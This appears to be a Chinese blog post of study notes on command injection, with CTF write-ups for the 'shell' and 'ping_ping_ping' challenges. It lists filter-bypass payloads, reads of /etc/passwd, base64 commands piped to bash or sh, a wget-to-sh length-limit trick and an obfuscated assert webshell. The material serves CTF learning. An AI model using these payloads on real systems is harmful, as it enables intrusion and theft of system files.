命令执行漏洞

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞,通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、发送邮件、转换图片等功能都可能出现该类漏洞。

常用命令

在win或linux下,
||: [command1]||[command2]表示先执行command1, 若command1为假,则执行command2;
&&: 先执行command1, 若为真,则执行command2
|: 表示只执行command2(在必须输入command1且只想返回command2(比如回显行数被限定)的时候有用)
&: 先执行command1再执行command2
;: 前面的执行完执行后面的
ls /(注意空格): 列出根目录下的所有文件
pwd: (print work directory), 用于立刻显示当前所在目录

常见危险函数

PHP:
system
exec
passthru
shell_exec
popen
proc_open

Python:
system
popen
subprocess.call
spawn

Java:
java.lang.Runtime.getRuntime().exec(command)

命令联合执行

就是利用|、||、&、&&

内联执行

就是将反引号内的输出当作输入执行
作业:

1
/?ip=127.0.0.1|cat$IFS$9`ls`

绕过

命令执行绕过空格

1
2
3
4
5
6
7
8
9
10
11
12
13
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$9
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

黑名单绕过

1
2
3
4
5
a=l;b=s;$a$b
echo "bHM=" | base64 -d //base64绕过'ls'--->思路扩展,可否换成其他编码呢?
/?in/?s => /bin/ls
cat /etc/pass'w'd //连接符绕过
cat$x /etc/passwd //未定义的初始化变量绕过

长度限制绕过

1
2
3
4
5
>wget\
>foo.\
>com
ls -t>a
sh a

上述方法为通过命令行重定向写入命令,通过ls将这些命令写入文件a,最后执行

实战

bugku shell

打开后发现是空白页面,根据提示:

1
2
3
4
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); //把字符打散为数组
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; //asset
$poc_2($_GET['s']);//asset($_GET['s']); asset():判断1个表达式是否成立,返回True和False(重点在于:里面的表达式会被执行)

于是输入/?s=system(‘ls’)
返回: flaga15808abee46a1d5.txt index.php

所以这题讲了个啥? 好像是科普了一个一句话木马
科普: assert是能执行shell命令的危险函数之一

ping_ping_ping GXYCTF 命令联合执行

进入后是一个ping网址,这类题见了8下3次了,属于命令执行漏洞(或sql注入),需要对linux指令有一定了解
(这种网站路由器种经常会见到)
输入127.0.0.1,ping成功了,说明有命令执行漏洞(为什么呢? 某个wp说的,俺也8清楚….)
然后因为贫瘠的linux知识,于是先试试sql注入吧
闭合失败…..
那就是命令执行漏洞了
开始注

1
2
3
4
5
/?ip=127.0.0.1 | ls     //成功回显flag.php
/?ip=127.0.0.1;cat flag.php //回显"fuxk your space",说明检测空格,需要绕过
/?ip=127.0.0.1;cat${IFS}$9index.php //回显"fuxk your symbol",没看懂....这下没辙了
/?ip=127.0.0.1;cat%20flag.php //"fuxk your flag",屏蔽flag关键词
/?ip=127.0.0.1|cat$IFS$9`ls` //回显了index.php的内容

但是为什么只有后半部分的内容?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //屏蔽了....特殊字符,正则匹配还是没学好....& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){ //屏蔽空格
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ //屏蔽关键词
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //屏蔽flag,贪婪匹配
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip); //执行
echo "

";
print_r($a);
}
?>

好吧…前3个都能想办法绕过,但第4个….
有几种方法,都记录一下

变量覆盖

1
2
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

然后有一些疑惑的地方:
为什么最终flag是在源码的注释里写的? 想了想明白了,这个是出题人挖的坑,因为flag.php文件写的flag就是用注释括起来的,于是最终嵌入html代码时就会只在源码中显示

bash $ sh +base64

1
2
3
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash  //将flag.php进行base64编码,然后'bash'指执行前面的echo脚本(和源码拼接起来)
//当然这里的bash被过滤了,但是用sh也是一样滴
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

命令执行漏洞
https://bl4zygao.github.io/2022/03/24/命令执行漏洞/
Author
bl4zy
Posted on
March 24, 2022
Licensed under